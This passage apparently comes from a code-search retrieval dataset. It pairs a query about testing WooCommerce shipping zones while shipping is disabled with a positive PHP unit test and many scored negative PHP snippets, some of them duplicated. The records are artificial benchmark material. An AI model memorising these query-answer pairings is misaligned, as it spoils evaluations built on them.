"c616eaee5042bda550cc756bc3ae3823", "score": "0.5777768", "text": "public function __invoke() {\r\n return $this->render();\r\n }", "title": "" }, { "docid": "017ec4c3eade6cd49daad5eddd052ed9", "score": "0.5774998", "text": "protected function render() { }", "title": "" }, { "docid": "347b652c5dce804c52819f7b01692f72", "score": "0.577015", "text": "public function run() \n\t{\n\t\tob_start();\n\t\t\n\t\t?>\n\t\t<div class=\"registration-list\">\n\t\t\t<?php\n\t\t\t\n\t\t\t$this->renderRegistrationCount();\n\t\t\tif ($this->currentLan->registrationCount > 0)\n\t\t\t\t$this->renderList();\n\t\t\t\n\t\t\t?>\n\t\t</div>\n\t\t<?php\n\t\t\n\t\techo ob_get_clean();\n\t}", "title": "" }, { "docid": "742d6d7e8d4c1987abe46079eb344978", "score": "0.57674176", "text": "public function render()\n {\n $content = $this->renderChildren();\n $this->pageRenderer->addBodyContent($content);\n }", "title": "" }, { "docid": "f14c44d15f2afe01e3e2045f4770fc26", "score": "0.5766749", "text": "public function render($direct_output = TRUE)\n {\n if ($direct_output !== TRUE) ob_start(); //output buffer start\n $data = $this->data;\n include($this->render); //include view\n \n if ($direct_output !== TRUE) return ob_get_clean(); //output buffer clean\n \n }", "title": "" }, { "docid": "24416be6ee4238b80e9bcb28e227362d", "score": "0.5764391", "text": "public abstract function render();", "title": "" }, { "docid": "a11c7dfcade5c9cb4a9850880644721b", "score": "0.5762646", "text": "public function render();", "title": "" }, { "docid": "a11c7dfcade5c9cb4a9850880644721b", "score": "0.5762646", "text": "public function render();", "title": "" }, { "docid": "a11c7dfcade5c9cb4a9850880644721b", "score": "0.5762646", "text": "public function render();", "title": "" }, { "docid": "a11c7dfcade5c9cb4a9850880644721b", "score": "0.5762646", "text": "public function render();", "title": "" }, { "docid": "a11c7dfcade5c9cb4a9850880644721b", "score": "0.5762646", "text": "public function render();", "title": "" }, { "docid": "a11c7dfcade5c9cb4a9850880644721b", "score": "0.5762646", "text": "public function render();", "title": "" }, { "docid": "a11c7dfcade5c9cb4a9850880644721b", "score": "0.5762646", "text": "public function render();", "title": "" }, { "docid": "a11c7dfcade5c9cb4a9850880644721b", "score": "0.5762646", "text": "public function render();", "title": "" }, { "docid": "a11c7dfcade5c9cb4a9850880644721b", "score": "0.5762646", "text": "public function render();", "title": "" }, { "docid": "a11c7dfcade5c9cb4a9850880644721b", "score": "0.5762646", "text": "public function render();", "title": "" }, { "docid": "a11c7dfcade5c9cb4a9850880644721b", "score": "0.5762646", "text": "public function render();", "title": "" }, { "docid": "a11c7dfcade5c9cb4a9850880644721b", "score": "0.5762646", "text": "public function render();", "title": "" }, { "docid": "a11c7dfcade5c9cb4a9850880644721b", "score": "0.5762646", "text": "public function render();", "title": "" }, { "docid": "a11c7dfcade5c9cb4a9850880644721b", "score": "0.5762646", "text": "public function render();", "title": "" }, { "docid": "a11c7dfcade5c9cb4a9850880644721b", "score": "0.5762646", "text": "public function render();", "title": "" }, { "docid": "a11c7dfcade5c9cb4a9850880644721b", "score": "0.5762646", "text": "public function render();", "title": "" }, { "docid": "f695e57b08daca5b09372ab27257e64b", "score": "0.57612926", "text": "public function render() {\n\t\tDebug::log($this->template, 'Render template');\n\n\t\t$output = $this->Automad->loadTemplate($this->template);\n\t\t$output = $this->interpret($output, dirname($this->template));\n\t\t$output = $this->createExtensionAssetTags($output);\n\t\t$output = $this->addMetaTags($output);\n\t\t$output = $this->obfuscateEmails($output);\n\t\t$output = $this->resizeImages($output);\n\t\t$output = $this->resolveUrls($output, 'absoluteUrlToRoot');\n\t\t$output = Blocks::injectAssets($output);\n\t\t$output = $this->InPage->createUI($output);\n\n\t\treturn trim($output);\n\t}", "title": "" }, { "docid": "549d865ab2248fc1333a78b649f9c03d", "score": "0.57558125", "text": "protected function renderContent()\n {\n $this->response->append($this->view->render());\n $this->response->addHeader('Content-Type', $this->view->getContentType());\n $this->response->flush();\n }", "title": "" }, { "docid": "82dbc47f661d8cda633a2cd06f19698d", "score": "0.5741475", "text": "public abstract function renderInternal();", "title": "" }, { "docid": "f0ccd98939830cd6fe2323118413c68b", "score": "0.5738566", "text": "public function render()\n\t{\n\t\t$ses_comp = Session::get()->companies;\n\t\tif (empty($ses_comp))\n\t\t\t$sel_comp = Array();\n\t\telse\n\t\t\t$sel_comp = Model_Datahamster::find_all_by_id($ses_comp);\n\n\t\t$this->renderInternal(\n\t\t Array(\n\t\t \"body\" => $this->body,\n\t\t \"companies\" => $sel_comp \n\t\t )\n\t\t);\n\t}", "title": "" } ]
82dd028878141fa1f0a17f2ca739dffb
Test /shipping/zones while Shipping is disabled in WooCommerce.
[ { "docid": "8f0d660e808f8a7fda321aaa4035fb2b", "score": "0.8237609", "text": "public function test_get_shipping_zones_disabled_shipping() {\n\t\tadd_filter( 'wc_shipping_enabled', '__return_false' );\n\n\t\t$response = $this->server->dispatch( new WP_REST_Request( 'GET', '/wc/v4/shipping/zones' ) );\n\t\t$this->assertEquals( 404, $response->get_status() );\n\n\t\tremove_filter( 'wc_shipping_enabled', '__return_false' );\n\t}", "title": "" } ]
[ { "docid": "d1da741bc02f2eb450fd674eac2cc451", "score": "0.7290672", "text": "public function test_get_shipping_zones_without_permission() {\n\t\twp_set_current_user( 0 );\n\n\t\t$response = $this->server->dispatch( new WP_REST_Request( 'GET', '/wc/v4/shipping/zones' ) );\n\t\t$this->assertEquals( 401, $response->get_status() );\n\t}", "title": "" }, { "docid": "51432290e81127d884e8fc091a6f3759", "score": "0.6621138", "text": "public function test_get_zones() {\n\t\t// \"Rest of the World\" zone exists by default\n\t\t$response = $this->server->dispatch( new WP_REST_Request( 'GET', '/wc/v4/shipping/zones' ) );\n\t\t$data = $response->get_data();\n\n\t\t$this->assertEquals( 200, $response->get_status() );\n\t\t$this->assertEquals( count( $data ), 1 );\n\t\t$this->assertContains(\n\t\t\tarray(\n\t\t\t\t'id' => $data[0]['id'],\n\t\t\t\t'name' => 'Locations not covered by your other zones',\n\t\t\t\t'order' => 0,\n\t\t\t\t'_links' => array(\n\t\t\t\t\t'self' => array(\n\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t'href' => rest_url( '/wc/v4/shipping/zones/' . $data[0]['id'] ),\n\t\t\t\t\t\t),\n\t\t\t\t\t),\n\t\t\t\t\t'collection' => array(\n\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t'href' => rest_url( '/wc/v4/shipping/zones' ),\n\t\t\t\t\t\t),\n\t\t\t\t\t),\n\t\t\t\t\t'describedby' => array(\n\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t'href' => rest_url( '/wc/v4/shipping/zones/' . $data[0]['id'] . '/locations' ),\n\t\t\t\t\t\t),\n\t\t\t\t\t),\n\t\t\t\t),\n\t\t\t),\n\t\t\t$data\n\t\t);\n\n\t\t// Create a zone and make sure it's in the response\n\t\t$this->create_shipping_zone( 'Zone 1' );\n\n\t\t$response = $this->server->dispatch( new WP_REST_Request( 'GET', '/wc/v4/shipping/zones' ) );\n\t\t$data = $response->get_data();\n\n\t\t$this->assertEquals( 200, $response->get_status() );\n\t\t$this->assertEquals( count( $data ), 2 );\n\t\t$this->assertContains(\n\t\t\tarray(\n\t\t\t\t'id' => $data[1]['id'],\n\t\t\t\t'name' => 'Zone 1',\n\t\t\t\t'order' => 0,\n\t\t\t\t'_links' => array(\n\t\t\t\t\t'self' => array(\n\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t'href' => rest_url( '/wc/v4/shipping/zones/' . $data[1]['id'] ),\n\t\t\t\t\t\t),\n\t\t\t\t\t),\n\t\t\t\t\t'collection' => array(\n\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t'href' => rest_url( '/wc/v4/shipping/zones' ),\n\t\t\t\t\t\t),\n\t\t\t\t\t),\n\t\t\t\t\t'describedby' => array(\n\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t'href' => rest_url( '/wc/v4/shipping/zones/' . $data[1]['id'] . '/locations' ),\n\t\t\t\t\t\t),\n\t\t\t\t\t),\n\t\t\t\t),\n\t\t\t),\n\t\t\t$data\n\t\t);\n\t}", "title": "" }, { "docid": "b28928a6f5da827e280324ab5320c1d7", "score": "0.6486927", "text": "public function test_create_shipping_zone_without_permission() {\n\t\twp_set_current_user( 0 );\n\n\t\t$request = new WP_REST_Request( 'POST', '/wc/v4/shipping/zones' );\n\t\t$request->set_body_params(\n\t\t\tarray(\n\t\t\t\t'name' => 'Test Zone',\n\t\t\t\t'order' => 1,\n\t\t\t)\n\t\t);\n\t\t$response = $this->server->dispatch( $request );\n\t\t$this->assertEquals( 401, $response->get_status() );\n\t}", "title": "" }, { "docid": "7f5dd5831c4a6b65c4ef19569024e8b7", "score": "0.63939273", "text": "public function isShipping();", "title": "" }, { "docid": "4d4a2c233aac78b5f52471dc1c9a6832", "score": "0.6146797", "text": "public static function disable_shop_shipping_methods() {\n\t\tglobal $wpdb;\n\n\t\tforeach ( self::get_all_shipping_zone_ids() as $zone_id ) {\n\t\t\t$zone = \\WC_Shipping_Zones::get_zone( $zone_id );\n\t\t\tif ( ! $zone ) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\t/**\n\t\t\t * WooCommerce shipping method.\n\t\t\t *\n\t\t\t * @var \\WC_Shipping_Method $item\n\t\t\t */\n\t\t\tforeach ( $zone->get_shipping_methods( true ) as $item ) {\n\t\t\t\tif ( ( Packlink_Shipping_Method::PACKLINK_SHIPPING_METHOD !== $item->id )\n\t\t\t\t\t && $wpdb->update( \"{$wpdb->prefix}woocommerce_shipping_zone_methods\", array( 'is_enabled' => 0 ), array( 'instance_id' => absint( $item->instance_id ) ) )\n\t\t\t\t) {\n\t\t\t\t\tdo_action( 'woocommerce_shipping_zone_method_status_toggled', $item->instance_id, $item->id, $zone_id, 0 );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "1a7926c31f781792ddb21eccb077597e", "score": "0.61366403", "text": "public function test_delete_shipping_zone_without_permission() {\n\t\twp_set_current_user( 0 );\n\t\t$zone = $this->create_shipping_zone( 'Zone 1' );\n\n\t\t$request = new WP_REST_Request( 'DELETE', '/wc/v4/shipping/zones/' . $zone->get_id() );\n\t\t$request->set_param( 'force', true );\n\t\t$response = $this->server->dispatch( $request );\n\t\t$this->assertEquals( 401, $response->get_status() );\n\t}", "title": "" }, { "docid": "4af55b7099c776a14988ff218828bca7", "score": "0.5976668", "text": "public function test_get_shipping_zone_schema() {\n\t\t$request = new WP_REST_Request( 'OPTIONS', '/wc/v4/shipping/zones' );\n\t\t$response = $this->server->dispatch( $request );\n\t\t$data = $response->get_data();\n\t\t$properties = $data['schema']['properties'];\n\t\t$this->assertEquals( 3, count( $properties ) );\n\t\t$this->assertArrayHasKey( 'id', $properties );\n\t\t$this->assertTrue( $properties['id']['readonly'] );\n\t\t$this->assertArrayHasKey( 'name', $properties );\n\t\t$this->assertArrayHasKey( 'order', $properties );\n\t}", "title": "" }, { "docid": "25310327e3be0ce918f46b5f0881e020", "score": "0.5923112", "text": "public function get_shipping_zones() {\n\t\t$shipping_zones = WC_Shipping_Zones::get_zones();\n\n\t\tif ( $shipping_zones ) {\n\t\t\tforeach ( $shipping_zones as $index => $shipping_zone ) {\n\t\t\t\t$shipping_zones[ $index ] = new WC_Shipping_Zone( $shipping_zone['zone_id'] );\n\t\t\t}\n\t\t}\n\n\t\t$shipping_zones[] = new WC_Shipping_Zone( 0 );\n\n\t\treturn $shipping_zones;\n\t}", "title": "" }, { "docid": "66147bf97cbf2b19ac43e11277e12fb7", "score": "0.590644", "text": "public function test_get_single_shipping_zone_invalid_id() {\n\t\t$response = $this->server->dispatch( new WP_REST_Request( 'GET', '/wc/v4/shipping/zones/1' ) );\n\n\t\t$this->assertEquals( 404, $response->get_status() );\n\t}", "title": "" }, { "docid": "ccfc341509b6ba1e33e310f10df29bee", "score": "0.58962864", "text": "public static function skip_shipping() {\n// a shipping address is not needed\n if ('virtual' === $GLOBALS['order']->content_type) {\n $_SESSION['shipping'] = false;\n $_SESSION['sendto'] = false;\n tep_redirect(tep_href_link('checkout_payment.php', '', 'SSL'));\n }\n }", "title": "" }, { "docid": "3bdb84ef263ecf10ef9e87565abcdfe4", "score": "0.5893184", "text": "public function test_delete_shipping_zone() {\n\t\t$zone = $this->create_shipping_zone( 'Zone 1' );\n\n\t\t$request = new WP_REST_Request( 'DELETE', '/wc/v4/shipping/zones/' . $zone->get_id() );\n\t\t$request->set_param( 'force', true );\n\t\t$response = $this->server->dispatch( $request );\n\t\t$data = $response->get_data();\n\n\t\t$this->assertEquals( 200, $response->get_status() );\n\t}", "title": "" }, { "docid": "aa62a3618a0e57ca794d8e3f6c3dc0e0", "score": "0.58790123", "text": "public function test_create_shipping_zone() {\n\t\t$request = new WP_REST_Request( 'POST', '/wc/v4/shipping/zones' );\n\t\t$request->set_body_params(\n\t\t\tarray(\n\t\t\t\t'name' => 'Test Zone',\n\t\t\t\t'order' => 1,\n\t\t\t)\n\t\t);\n\t\t$response = $this->server->dispatch( $request );\n\t\t$data = $response->get_data();\n\n\t\t$this->assertEquals( 201, $response->get_status() );\n\t\t$this->assertEquals(\n\t\t\tarray(\n\t\t\t\t'id' => $data['id'],\n\t\t\t\t'name' => 'Test Zone',\n\t\t\t\t'order' => 1,\n\t\t\t\t'_links' => array(\n\t\t\t\t\t'self' => array(\n\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t'href' => rest_url( '/wc/v4/shipping/zones/' . $data['id'] ),\n\t\t\t\t\t\t),\n\t\t\t\t\t),\n\t\t\t\t\t'collection' => array(\n\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t'href' => rest_url( '/wc/v4/shipping/zones' ),\n\t\t\t\t\t\t),\n\t\t\t\t\t),\n\t\t\t\t\t'describedby' => array(\n\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t'href' => rest_url( '/wc/v4/shipping/zones/' . $data['id'] . '/locations' ),\n\t\t\t\t\t\t),\n\t\t\t\t\t),\n\t\t\t\t),\n\t\t\t),\n\t\t\t$data\n\t\t);\n\t}", "title": "" }, { "docid": "55a5e566571758c6e56405c1ecaa4d76", "score": "0.57706904", "text": "public function test_get_methods_invalid_zone_id() {\n\t\t$response = $this->server->dispatch( new WP_REST_Request( 'GET', '/wc/v4/shipping/zones/1/methods' ) );\n\n\t\t$this->assertEquals( 404, $response->get_status() );\n\n\t\t$response = $this->server->dispatch( new WP_REST_Request( 'GET', '/wc/v4/shipping/zones/1/methods/1' ) );\n\n\t\t$this->assertEquals( 404, $response->get_status() );\n\t}", "title": "" }, { "docid": "0b247625a1c57c99e48eaaeb005af330", "score": "0.5767712", "text": "function shipping_needed() { \n\n \t\t$shipping_needed = false;\n \t\tfor ($i=0;$i<$this->cart[\"idx\"];$i++) {\n \t\t\tif(!isset($this->cart[$i][\"product_id\"]) ){ continue;}\n \t\t\tif($this->cart[$i]['product_physical']){\n \t\t\t\t$shipping_needed = true;\n \t\t\t}\n \t\t}\n \treturn $shipping_needed;\n \t}", "title": "" }, { "docid": "aee0f92446878ca24947561b847803a4", "score": "0.5754988", "text": "function my_custom_available_payment_gateways( $gateways ) {\n\n\tif ( is_admin() && ! defined( 'DOING_AJAX' ) )\n\treturn;\n\t $chosen_shipping_rates = WC()->session->get( 'chosen_shipping_methods' );\n\t // When 'local delivery' has been chosen as shipping rate\n\t if ( in_array( 'flat_rate:8', $chosen_shipping_rates ) ) :\n\t\t // Remove bank transfer payment gateway\n\t\t unset( $gateways['bacs'] );\n\t endif;\n\t return $gateways;\n\n}", "title": "" }, { "docid": "9e32708f5b07286d98298ba86126a7ab", "score": "0.5745872", "text": "public function test_get_single_shipping_zone() {\n\t\t$zone = $this->create_shipping_zone( 'Test Zone' );\n\t\t$response = $this->server->dispatch( new WP_REST_Request( 'GET', '/wc/v4/shipping/zones/' . $zone->get_id() ) );\n\t\t$data = $response->get_data();\n\n\t\t$this->assertEquals( 200, $response->get_status() );\n\t\t$this->assertEquals(\n\t\t\tarray(\n\t\t\t\t'id' => $zone->get_id(),\n\t\t\t\t'name' => 'Test Zone',\n\t\t\t\t'order' => 0,\n\t\t\t\t'_links' => array(\n\t\t\t\t\t'self' => array(\n\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t'href' => rest_url( '/wc/v4/shipping/zones/' . $zone->get_id() ),\n\t\t\t\t\t\t),\n\t\t\t\t\t),\n\t\t\t\t\t'collection' => array(\n\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t'href' => rest_url( '/wc/v4/shipping/zones' ),\n\t\t\t\t\t\t),\n\t\t\t\t\t),\n\t\t\t\t\t'describedby' => array(\n\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t'href' => rest_url( '/wc/v4/shipping/zones/' . $zone->get_id() . '/locations' ),\n\t\t\t\t\t\t),\n\t\t\t\t\t),\n\t\t\t\t),\n\t\t\t),\n\t\t\t$data\n\t\t);\n\t}", "title": "" }, { "docid": "832fb72096f31f6a6ff60de1ecba3f7a", "score": "0.57113785", "text": "function my_custom_wc_free_shipping_notice() {\n\n\tif ( ! is_cart() && ! is_checkout() ) { // Remove partial if you don't want to show it on cart/checkout\n\t\treturn;\n\t}\n\n\t$packages = WC()->cart->get_shipping_packages();\n\t$package = reset( $packages );\n\t$zone = wc_get_shipping_zone( $package );\n\n\t$cart_total = WC()->cart->get_displayed_subtotal();\n\tif ( WC()->cart->display_prices_including_tax() ) {\n\t\t$cart_total = round( $cart_total - ( WC()->cart->get_discount_total() + WC()->cart->get_discount_tax() ), wc_get_price_decimals() );\n\t} else {\n\t\t$cart_total = round( $cart_total - WC()->cart->get_discount_total(), wc_get_price_decimals() );\n\t}\n\tforeach ( $zone->get_shipping_methods( true ) as $k => $method ) {\n\t\t$min_amount = $method->get_option( 'min_amount' );\n\n\n\t\tif ( $method->id == 'free_shipping' && ! empty( $min_amount ) && $cart_total < $min_amount ) {\n\t\t\t$remaining = $min_amount - $cart_total;\n wc_add_notice('Išleisk dar ' . $remaining . 'eu. ir gaut nemokamą pristatymą!');\n\t\t}\n\t}\n\n}", "title": "" }, { "docid": "abd5be93531543ff4cdf48367a2fba31", "score": "0.56786126", "text": "public function isBasedOnShipping()\n {\n $flag = $this->getData('based_on_shipping');\n if (!empty($flag) && ($flag !== 'false')) {\n return true;\n } else {\n return false;\n }\n }", "title": "" }, { "docid": "8aec3e9c5785edd85ae61660ef6b6bad", "score": "0.5651038", "text": "public function test_get_locations() {\n\t\t// Create a zone\n\t\t$zone = $this->create_shipping_zone(\n\t\t\t'Zone 1',\n\t\t\t0,\n\t\t\tarray(\n\t\t\t\tarray(\n\t\t\t\t\t'code' => 'US',\n\t\t\t\t\t'type' => 'country',\n\t\t\t\t),\n\t\t\t)\n\t\t);\n\n\t\t$response = $this->server->dispatch( new WP_REST_Request( 'GET', '/wc/v4/shipping/zones/' . $zone->get_id() . '/locations' ) );\n\t\t$data = $response->get_data();\n\n\t\t$this->assertEquals( 200, $response->get_status() );\n\t\t$this->assertEquals( count( $data ), 1 );\n\t\t$this->assertEquals(\n\t\t\tarray(\n\t\t\t\tarray(\n\t\t\t\t\t'code' => 'US',\n\t\t\t\t\t'type' => 'country',\n\t\t\t\t\t'_links' => array(\n\t\t\t\t\t\t'collection' => array(\n\t\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t\t'href' => rest_url( '/wc/v4/shipping/zones/' . $zone->get_id() . '/locations' ),\n\t\t\t\t\t\t\t),\n\t\t\t\t\t\t),\n\t\t\t\t\t\t'describes' => array(\n\t\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t\t'href' => rest_url( '/wc/v4/shipping/zones/' . $zone->get_id() ),\n\t\t\t\t\t\t\t),\n\t\t\t\t\t\t),\n\t\t\t\t\t),\n\t\t\t\t),\n\t\t\t),\n\t\t\t$data\n\t\t);\n\t}", "title": "" }, { "docid": "66a72c34022a568919aa4215988f1587", "score": "0.5603956", "text": "function update_status() {\n global $order, $db;\n if ($this->enabled && (int)$this->zone > 0) {\n $check_flag = false;\n $sql = \"SELECT zone_id\n FROM \" . TABLE_ZONES_TO_GEO_ZONES . \"\n WHERE geo_zone_id = :zoneId\n AND zone_country_id = :countryId\n ORDER BY zone_id\";\n $sql = $db->bindVars($sql, ':zoneId', $this->zone, 'integer');\n $sql = $db->bindVars($sql, ':countryId', $order->billing['country']['id'], 'integer');\n $check = $db->Execute($sql);\n while (!$check->EOF) {\n if ($check->fields['zone_id'] < 1) {\n $check_flag = true;\n break;\n } elseif ($check->fields['zone_id'] == $order->billing['zone_id']) {\n $check_flag = true;\n break;\n }\n $check->MoveNext();\n }\n\n if (!$check_flag) {\n $this->enabled = false;\n }\n\n // module cannot be used for purchase > $10,000 USD\n $order_amount = $this->calc_order_amount($order->info['total'], 'USD');\n if ($order_amount > 10000) $this->enabled = false;\n }\n }", "title": "" }, { "docid": "e6af6afd062562c9e91c8e2812011de2", "score": "0.5592919", "text": "public function isDisabled()\n {\n return Mage::helper('aitcheckout')->isPlaceOrderDisabled();\n }", "title": "" }, { "docid": "3f879f5b20d6c3b394fc27e9c5219072", "score": "0.55644304", "text": "public function wisz_shipping_packages( $packages ){\n\n if( get_option( 'woocommerce_shipping_individually_zone' ) == 'yes' ){\n\n $shipping_methods = array();\n\n $debug_mode = 'yes' === get_option( 'woocommerce_shipping_debug_mode', 'no' );\n\n foreach ($packages as $key => $package) { \n\n // Check if we need to recalculate shipping for this package\n $package_to_hash = $package;\n // Remove data objects so hashes are consistent\n foreach ( $package_to_hash['contents'] as $item_id => $item ) {\n unset( $package_to_hash['contents'][ $item_id ]['data'] );\n }\n\n $package_hash = 'wc_ship_' . md5( json_encode( $package_to_hash ) . WC_Cache_Helper::get_transient_version( 'shipping' ) );\n\n $session_key = 'shipping_for_package_' . $key;\n $stored_rates = WC()->session->get( $session_key );\n\n if( ! is_array( $stored_rates ) || $package_hash == $stored_rates['package_hash'] ){\n\n $new_package['rates'] = array();\n\n $shipping_zone_ids = tsc_get_zone_ids_from_packages( $package );\n\n if( !empty($shipping_zone_ids) ){\n foreach ($shipping_zone_ids as $k_zone => $matching_zone_id) {\n $zone_id = $matching_zone_id['zone_id'] ? $matching_zone_id['zone_id'] : 0;\n $shipping_zone = new WC_Shipping_Zone( $zone_id );\n $shipping_methods[$zone_id][] = $shipping_zone->get_shipping_methods( true );\n\n if ( $debug_mode && ! wc_has_notice( 'Customer matched zone \"' . $shipping_zone->get_zone_name() . '\"' ) && is_cart() ) {\n wc_add_notice( 'Customer matched zone \"' . $shipping_zone->get_zone_name() . '\"' );\n }\n }\n foreach ($shipping_methods as $k_out => $arr_shipping_methods) {\n foreach ($arr_shipping_methods[0] as $k_in => $shipping_method) {\n if ( ! $shipping_method->supports( 'shipping-zones' ) || $shipping_method->get_instance_id() ) { \n $new_package['rates'] = $new_package['rates'] + $shipping_method->get_rates_for_package( $package );\n }\n }\n }\n }\n\n $package['rates'] = !empty($new_package['rates']) ? $new_package['rates'] : $package['rates'];\n\n\n WC()->session->set( $session_key, array(\n 'package_hash' => $package_hash,\n 'rates' => $package['rates'],\n ) );\n } else {\n $package['rates'] = $stored_rates['rates'];\n }\n\n $packages[$key]['rates'] = $package['rates'];\n }\n }else{\n //default code... \n }\n\n return $packages;\n }", "title": "" }, { "docid": "89826d3161018ec395c351c4e09df60a", "score": "0.5526392", "text": "public function isDefaultShipping()\r\n {\r\n\t\treturn false;\r\n }", "title": "" }, { "docid": "584c80a6948756a09a0da7276c6c69dc", "score": "0.549891", "text": "public function is_available() {\n\t\t\n if( is_admin() ){ return false; }\n\n $enable = false;\n \n if ( ! empty( $this->enable_for_methods ) ) {\n \n $enable = $this->is_available_for_shipping_method();\n \n }else{\n\n $enable = true;\n \n }\n \n \n //When customer want to pay from account\n if ( ! empty( $_GET['pay_for_order'] ) ) {\n \n if ( ! empty( $wp->query_vars['order-pay'] ) ) {\n $order_id = absint( $wp->query_vars['order-pay'] );\n $p_method = get_post_meta( $order_id, '_payment_method',true);\n if(!empty($p_method) && $p_method == 'gopay' ){\n return parent::is_available();\n }\n }\n \n }\n\n\n \n //Check WooCommerce Subscriptions is active and control order\n $plugins = get_option('active_plugins');\n if(in_array('woocommerce-subscriptions/woocommerce-subscriptions.php',$plugins)){\n if ( ! empty( $wp->query_vars['order-pay'] ) ) {\n $order_id = absint( $wp->query_vars['order-pay'] );\n if ( WC_Subscriptions_Order::order_contains_subscription( $order_id ) ) {\n return parent::is_available();\n } \n } \n }\n\n \n\t\t\t\n if( $enable == false ){\n $enable = $this->is_downloadable_product_in_cart();\n }\t\n if( $enable == false ){\n $enable = $this->is_virtual_product_in_cart();\n }\n \n \n \n \n if( $enable == false ){\n return false;\n }else{\n return parent::is_available();\n }\n \n }", "title": "" }, { "docid": "cb093f40217360073dae2ad15dbf48a6", "score": "0.54596764", "text": "public function test_update_shipping_zone() {\n\t\t$zone = $this->create_shipping_zone( 'Test Zone' );\n\n\t\t$request = new WP_REST_Request( 'PUT', '/wc/v4/shipping/zones/' . $zone->get_id() );\n\t\t$request->set_body_params(\n\t\t\tarray(\n\t\t\t\t'name' => 'Zone Test',\n\t\t\t\t'order' => 2,\n\t\t\t)\n\t\t);\n\t\t$response = $this->server->dispatch( $request );\n\t\t$data = $response->get_data();\n\n\t\t$this->assertEquals( 200, $response->get_status() );\n\t\t$this->assertEquals(\n\t\t\tarray(\n\t\t\t\t'id' => $zone->get_id(),\n\t\t\t\t'name' => 'Zone Test',\n\t\t\t\t'order' => 2,\n\t\t\t\t'_links' => array(\n\t\t\t\t\t'self' => array(\n\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t'href' => rest_url( '/wc/v4/shipping/zones/' . $zone->get_id() ),\n\t\t\t\t\t\t),\n\t\t\t\t\t),\n\t\t\t\t\t'collection' => array(\n\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t'href' => rest_url( '/wc/v4/shipping/zones' ),\n\t\t\t\t\t\t),\n\t\t\t\t\t),\n\t\t\t\t\t'describedby' => array(\n\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t'href' => rest_url( '/wc/v4/shipping/zones/' . $zone->get_id() . '/locations' ),\n\t\t\t\t\t\t),\n\t\t\t\t\t),\n\t\t\t\t),\n\t\t\t),\n\t\t\t$data\n\t\t);\n\t}", "title": "" }, { "docid": "6cb237011e0cfe9278e0898bf23b9352", "score": "0.54567593", "text": "function get_enabled_methods() {\n global $wpdb;\n $is_enabled_methods = array();\n $query = \"SELECT instance_id, method_id, is_enabled FROM wp_woocommerce_shipping_zone_methods\";\n $result = $wpdb->get_results($query);\n if( !empty( $result ) && is_array( $result ) ){\n\n foreach($result as $row) {\n if($row->is_enabled == 1){\n $is_enabled_methods[] = array(\n \"instance_id\" => $row->instance_id,\n \"method_id\" => $row->method_id\n );\n }\n }\n }\n\n return $is_enabled_methods;\n}", "title": "" }, { "docid": "89dc1d9fd5522a20e764c230f14ddfca", "score": "0.5455796", "text": "public function is_available_for_shipping_method() {\n \n $chosen_shipping_methods = $this->get_choosen_shipping_method();\n $check_method = $this->check_method($chosen_shipping_methods);\n\n if ( ! $check_method ){ return false; }\n //Set found to false\n $found = false;\n\n foreach ( $this->enable_for_methods as $method_id ) {\n if ( strpos( $check_method, $method_id ) === 0 ) {\n $found = true;\n break;\n }\n }\n //If not found return false, or if found return true\n if ( ! $found ){\n return false;\n }else{\n return true;\n }\n }", "title": "" }, { "docid": "fda3c2f512fd04404bfd495672af3c68", "score": "0.5432456", "text": "function my_hide_shipping_when_free_is_available( $rates ) {\r\n $free = array();\r\n\r\n foreach ( $rates as $rate_id => $rate ) {\r\n if ( 'free_shipping' === $rate->method_id ) {\r\n $free[ $rate_id ] = $rate;\r\n break;\r\n }\r\n }\r\n\r\n return ! empty( $free ) ? $free : $rates;\r\n}", "title": "" }, { "docid": "e2521fd1b4dd4bc2c622cfc3230b39c1", "score": "0.54312265", "text": "public function validShippingAddress()\r\n {\r\n if (!$this->{'checkout.shipping_address.country'}\r\n || !$this->{'checkout.shipping_address.region'}\r\n //|| !$this->{'checkout.shipping_address.postal_code'} // TODO Only require this if the country requires it\r\n ) {\r\n return false;\r\n }\r\n \r\n return true;\r\n }", "title": "" }, { "docid": "1f6bf7c22efba4db211113acb48f48e1", "score": "0.542964", "text": "public function inCurrentZone(ShippingZone $shippingZone): bool {\n return $shippingZone->countries->contains($this->slug);\n }", "title": "" }, { "docid": "57c6111a8ad881a314eb7a20bc7599b7", "score": "0.54222697", "text": "public function canSetAsDefaultShipping()\r\n {\r\n\t\treturn false;\r\n }", "title": "" }, { "docid": "fc4b1a92db652f6069ff21a6ef4d29d0", "score": "0.54191035", "text": "public function isShipped()\n {\n return !!$this->shippingDate;\n }", "title": "" }, { "docid": "8500a53d144757084752073a9b5c512e", "score": "0.5411297", "text": "function _isZoneActive($aZone)\n{\n return true; // for now, all zones are active.\n}", "title": "" }, { "docid": "cf39c9e3b1b926016cc69fbeaa65f170", "score": "0.5399752", "text": "protected function checkShippingNotification()\n {\n return $this->_rootElement->find($this->shipNotification)->isVisible();\n }", "title": "" }, { "docid": "f90740fa802a5e72939f2ed9f269126a", "score": "0.53975725", "text": "public function ShipZone_set() {\n\treturn $this->HasField_forIndex(KI_CART_SHIP_ZONE);\n }", "title": "" }, { "docid": "81c34db2f455772f82d4417de5c372f6", "score": "0.53374213", "text": "public static function shippingRegion() {\n\n }", "title": "" }, { "docid": "200882cfaddb7df3a97a80dea2f4a562", "score": "0.53196996", "text": "function is_available( $package ) {\n\n\t\t// Obviously you cant use this if its not enabled\n\t\tif ( $this->enabled == \"no\" ) {\n\t\t\treturn false;\n\t\t}\n\n\t\t// Can only ship from South Africa\n\t\tif ( 